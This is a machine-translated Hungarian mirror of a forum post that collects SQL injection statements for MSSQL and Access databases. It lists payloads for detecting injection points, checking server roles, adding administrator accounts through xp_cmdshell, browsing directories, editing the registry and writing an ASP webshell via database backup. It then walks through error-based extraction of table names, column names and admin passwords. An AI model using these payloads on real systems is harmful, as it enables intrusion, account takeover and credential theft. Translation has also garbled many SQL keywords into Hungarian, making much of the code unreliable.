Ez a cikk egy tükör gépi fordítás, kérjük, kattintson ide, hogy ugorjon az eredeti cikkre.

Nézet: 14292|Válasz: 0

[Biztonságos kommunikáció] SQL injekció gyakori állítások

[Linket másol]
Közzétéve 2014. 11. 22. 17:17:21 | | |
1. Állapítsd meg, van-e injekció
; és 1=1
; és 1=2

2. Előzetes ítélet, hogy mssql-e
; és user>0

3. Bírálj meg az adatbázis-rendszert
; és (select count(*) a sysobjects-ből)>0 mssql
; és (select count(*) az msysobjects-ből)>0 hozzáférés

4. Az injekciós paraméter egy karakter
'and [lekérdezési kritériumok] és ''='

5. A keresés során nincsenek szűrt paraméterek
'and [lekérdezési kritériumok] és '%25'='

6. Találd ki az asztal nevét
; és (válassz Count(*) a [tábla neve])>0

7. Találd ki a mezőt
; és (a tábla nevéből válassza ki a Count(mező neve)>0

8. Találd ki a rekord hosszát a mezőn
; és (a tábla nevéből válassz top 1 len-t (mező neve)>0

9. (1) Tippeld ki a mező ASCII értékét (hozzáférés)
; és (a tábla nevéből válassz top 1 ASC(mid(mező név, 1,1)))>0

(2) Tippeld ki a mező ASCII értékét (mssql)
; és (a tábla nevéből válassza ki a top 1 unicode(alstring(mező név,1,1)))>0

10. Tesztengedély szerkezete (mssql)
; és 1=(select IS_SRVROLEMEMBER('rendszergazdálkodó')); --
; és 1=(select IS_SRVROLEMEMBER('serveradmin')); --
; és 1=(select IS_SRVROLEMEMBER('setupadmin')); --
; és 1=(select IS_SRVROLEMEMBER('securityadmin')); --
; és 1=(select IS_SRVROLEMEMBER('diskadmin')); --
; és 1=(select IS_SRVROLEMEMBER('bulkadmin')); --
; és 1=(select IS_MEMBER('db_owner')); --

11. Fiók hozzáadása az mssql-hez és a rendszerhez
; vezetői master.dbo.sp_addlogin felhasználónév; --
; exec master.dbo.sp_password null, felhasználónév, jelszó; --
; vezető master.dbo.sp_addsrvrolemember rendszergazdozó felhasználónév; --
; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'hálózati felhasználónév jelszó /add'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --

12. (1) Átnézni a katalógust
; create table dirs(paths varchar(100), id int)
; Kerüld be a DIRS executive master.dbo.xp_dirtree 'c:\'
; és (válassz a DIRS-ből a top 1 útvonalat)>0
; és (válassz ki a top 1 útvonalat a dirs-ből, ahol az utak nincsenek ben('az előző lépésből kapott utak')))>)

(2) Átnézni a katalógust
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Insert temp exec master.dbo.xp_availablemedia; -- Szerezd meg az összes aktuális meghajtót
; bekerüljön a temp(id) végrehajtó master.dbo.xp_subdirs 'c:\'; -- Szerezz egy listát az alkönyvtárakról
; bekerülni a temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Szerezze meg a könyvtárfa szerkezetét minden alkönyvtárhoz
; beillesztés a temp(id) végrehajtó master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Tekintse meg a fájl tartalmát

13. Tárolt eljárások mssql-ben
xp_regenumvalues Registry root kulcs, gyermekkulcs
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' több rekordhalmazban adja vissza az összes kulcsértéket
xp_regread Gyökérkulcs, gyermekkulcs, kulcs-érték név
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' adja vissza a beállított kulcs értékét
xp_regwrite Gyökérkulcs, gyermekkulcs, értéknév, értéktípus, érték
Kétféle értéktípus létezik REG_SZ REG_DWORD karaktertípusok és egész számok
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' a regiszterhez
xp_regdeletevalue Gyökérkulcs, alkulcs, értéknév
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' értékek eltávolításához
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' a kulcs eltávolítására, beleértve az összes értéket az alatt lévő értékekkel együtt

14. az mssql biztonsági mentés webshellet hoz létre
Használati modell
create table cmd(str image);
insert in in cmd(str) értékek ('<% Dim oScript %>');
backup database model a disk='c:\l.asp';

15. MSSQL beépített funkciók
; és (@@version)>0 opciót kaphatsz meg a Windows verziószámához
; és user_name()='dbo' annak megállapítására, hogy a jelenlegi rendszer csatlakoztatott felhasználója SA-e
; és (select user_name()))>0 Felrobbantották a jelenlegi rendszer csatlakoztatott felhasználóit
; és (válaszd ki a db_name())>0-t, hogy megkapd a jelenleg csatlakoztatott adatbázist



MSSQL kézzel jegyzetelt adatbázis-megsértés

1. A jelenlegi tábla és oszlop nevének feltárása
Küldd be a "having 1=1--" jelzést az injekciós pont után, hogy megkapd az angol nyelvű visszaküldési üzenetet, amelyben egy táblázat és oszlop név látható. Küldd be a "csoportosítás a lista neve alapján, amelynek 1=1--" címet kap, hogy újabb oszlop névet kapj; Folytasd a "csoportosítást a kitett tábla név listájához, a kimutatott tábla neve" beküldéséhez. A második oszlop neve 1=1--", ami egy másik oszlopnevet ad. Ugyanígy kötelezd el, amíg az oldal már nem küld hibaüzeneteket, hogy megkapd az összes oszlopnevet. Érdekesség: Az erőszakos táblaneveket és oszlopneveket a GROUP BY-val együtt használják az SQL utasításokban feltételes ítéletek meghozatalához. Mivel az utasítás hiányos, az adatbázis hibaüzenetet ad vissza, és táblázat és oszlopnév jelenik meg. Az alap módszer csak az aktuális táblát tudja megjeleníteni az adatbázisban, és ha egy táblázat sok oszlopnevet tartalmaz, nagyon nehéz az alap módszert használni.

Először. Minden adatbázis név elérhető
Használd a "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])" utasítást, hogy tetszőleges tábla- és oszlopneveket jelenítsd meg az adatbázisban, ahol a "[N]" az N-edik táblát jelöli az adatbázisban.
1. lépés: A pont befecskendezése után a következő utasítást küldd be: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", mert a dbid értéke 1-től 5-ig terjed, amit a rendszer használ, tehát a felhasználónak 6-ból kellett megépítenie, és mi beküldtük a nevet>1, a névmező egy karaktertípus mező, és a számösszehasonlítás hibás lesz, így a beküldés után az IE a következő információkat adja vissza: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] átalakítja a nvarchar értéket 'Northwind' adattípus int-re oszlop. Így a névmező értéke kinyílik, vagyis kapunk egy "Northwind" adatbázis nevet. A "dbid" értékének megváltoztatásával megkaphatod az összes adatbázis nevet.

és 0<>(select count(*) a master.dbo.sysdatabases-ből, ahol name>1 és dbid=[N])-- Módosítsuk N-t, hogy az összes adatbázis nevet felrobbanítsa a 6-ból


Másodszor. A megadott adatbázisban az összes táblanevet elérhetővé téve
Az adatbázis nevének megszerzése után most meg kell szerezned az összes táblanevet a könyvtárban, a következő utasítást kell benyújtani: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", itt van a tábla név a master adatbázisban, és a lekérdezés SQL utasítása adja vissza a név értékét, majd összehasonlítsuk azt a 0 számmal, hogy a név értéke elérhető legyen. A benyújtás után az asztal neve, amely "'spt_monito" volt, feltárult.
Ezután a többi tábla is megjelenik, és a következő utasítás jelenik meg: "and 0<>(select top 1 name from master.dbo.sysobjects from where xtype='U' and name not in('spt_monito'))", majd egy másik tábla "cd512" néven jelenik meg. Fájl "and name not in(' spt_monito',' CD512',..)" Megtudod az összes asztal nevét.

és 0<>(válassz a felső 1 nevet a [adatbázis nevet].dbo.sysobjects között, ahol xtype='U')--
és 0<>(válassz a felső 1 nevet a [adatbázis nevet].dbo.sysobjects között, ahol xtype='U' és név nem in('[Robbantott tábla név]'))--
és 0<>(válassz a felső 1 nevet a [adatbázis nevet].dbo.sysobjects között, ahol xtype='U' és név nem in('[Robbanó tábla név]', '[Robbantott második tábla név]')))--

4. A megadott táblázatban található összes oszlopnevet megjeleníteni
és 0<>(select count(*) a bbs.dbo.sysobjects fájlból, ahol xtype='U' és name='admin' és uid>(str(id)))
Alakítsd át az azonosító értéket karaktertípusra, majd hasonlítsuk össze egy egész értékkel. Az azonosító szám nincs ki. Az érték: 949578421 name='tábla név'

és 0<>(Válassz a felső 1 nevet a wutong.dbo.syscolumns oldalról, ahol id=949578421)-- Egy mezőnév az admin táblában van látható

Újraküldés és 0<>(válaszd ki a top 1 nevet a wutong.dbo.syscolumns-ból, ahol id=949578421 és név nem in('adduser'))))--
Fájl "and name not in(' spt_monito',' CD512',..)" Az összes mezőnevet megtalálod az admin táblában.


és 0<>(select count(*) a [megadd az adatbázis nevét].dbo.sysobjects, ahol xtype='U' és name='[A felrobbantandó mező táblaneve]' és uid>(str(id)))--a a robbanóra törendő mező táblanevének ID értéke

és 0<>(Válassz a felső 1 nevet a [adatbázis nevet].dbo.syscolumns között, ahol id=robbanó azonosító érték) – Egy mező neve a robbanó azonosító értéktáblában

és 0<>(válassz a felső 1 nevet a [adatbázis nevet].dbo.syscolumns között, ahol id=Robbanó azonosító érték és név nem in('[Robbantó mező neve]'))))--



5. Olvasd el az adatokat a megadott táblázatban

és 0<(válaszd ki a wutong.dbo.admin A_ID-t a wutong.dbo.admin oldalról, ahol A_UserID>1) – az a tartalom, amely megtörte a A_PWD

és 0<(válassz ki [egy létező mezőt] a [adatbázis nevét megadva].dbo-ból.[tábla név lekérdezéshez] ahol [tartalom felrobbanásához mező neve]>1)--

és 0<(kiválasztani A_ID a wutong.dbo.admin oldalról, ahol A_PWD>1 és A_UserID='admin')-- Az admin jelszó látható


és 0<(Válassz Top 1-et A_UserID FROM admin, ahol A_ID<>1)-- Az id<>1 adminisztrátor neve (fuhao)

és 0<(Válassz Top 1-et A_UserID FROM admin, ahol A_ID <>1 és A_UserID <> 'fuhao')-- A második admin neve nem <> egyenlő (tuiguang)

és 0<(Válassz Top 1-et A_UserID FROM admin, ahol A_ID <>1 és A_UserID <> 'fuhao' és A_UserID <> 'tuiguang')--

Miután megismered az adatbázis tábla nevét és oszlopnevét, a "query statement" segítségével olvashatsz bármilyen információt az adatbázisban. Például, ha az N-edik adatot szeretnéd olvasni egy oszlopban egy táblázatban, beküldheted a következő utasítást: "and (Válassz Top 1 oszlop nevét FROM from table name, ahol id=[N])>1" ([N] az N-edik adatot képviseli az oszlopban), és az IE által visszaadott információból megismerheted a kívánt adatokat.






Előző:Hogyan rejtsd el egy tömörített rar fájlt egy jpg fájlban
Következő:Gyűjtsd össze a "Harry Potter" 1~7 Vidd ki és oszd meg Ha nem tetszik, ne fújd be
Lemondás:
A Code Farmer Network által közzétett összes szoftver, programozási anyag vagy cikk kizárólag tanulási és kutatási célokra szolgál; A fenti tartalmat nem szabad kereskedelmi vagy illegális célokra használni, különben a felhasználók viselik az összes következményet. Az oldalon található információk az internetről származnak, és a szerzői jogi vitáknak semmi köze ehhez az oldalhoz. A fenti tartalmat a letöltés után 24 órán belül teljesen törölni kell a számítógépéről. Ha tetszik a program, kérjük, támogassa a valódi szoftvert, vásároljon regisztrációt, és szerezzen jobb hiteles szolgáltatásokat. Ha bármilyen jogsértés történik, kérjük, vegye fel velünk a kapcsolatot e-mailben.

Mail To:help@itsvse.com